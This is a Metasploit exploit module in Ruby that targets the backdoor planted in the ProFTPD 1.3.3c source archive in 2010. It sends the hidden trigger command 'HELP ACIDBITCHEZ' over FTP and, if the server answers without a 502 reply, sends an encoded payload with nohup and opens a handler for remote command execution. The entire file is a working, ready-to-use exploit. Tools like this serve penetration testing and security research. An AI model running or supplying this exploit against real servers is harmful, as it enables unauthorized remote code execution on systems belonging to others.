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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::Ftp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'ProFTPD-1.3.3c Backdoor Command Execution',
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      'Description'    => %q{
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          This module exploits a malicious backdoor that was added to the
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        ProFTPD download archive. This backdoor was present in the proftpd-1.3.3c.tar.[bz2|gz]
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        archive between November 28th 2010 and 2nd December 2010.
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      },
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      'Author'         => [ 'MC', 'darkharper2' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'OSVDB', '69562'],
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          [ 'BID', '45150' ]
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        ],
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      'Privileged'     => true,
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      'Platform'       => [ 'unix' ],
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      'Arch'           => ARCH_CMD,
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      'Payload'        =>
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        {
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          'Space'    => 2000,
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          'BadChars' => '',
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          'DisableNops' => true,
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          'Compat'      =>
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            {
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              'PayloadType' => 'cmd',
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              'RequiredCmd' => 'generic perl telnet',
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            }
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        },
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      'Targets'        =>
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        [
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          [ 'Automatic', { } ],
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        ],
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      'DisclosureDate' => '2010-12-02',
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      'DefaultTarget' => 0))
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    deregister_options('FTPUSER', 'FTPPASS')
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  end
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  def exploit
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    connect
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    print_status("Sending Backdoor Command")
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    sock.put("HELP ACIDBITCHEZ\r\n")
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    res = sock.get_once(-1,10)
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    if ( res and res =~ /502/ )
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      print_error("Not backdoored")
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    else
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      sock.put("nohup " + payload.encoded + " >/dev/null 2>&1\n")
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      handler
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    end
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    disconnect
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  end
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end
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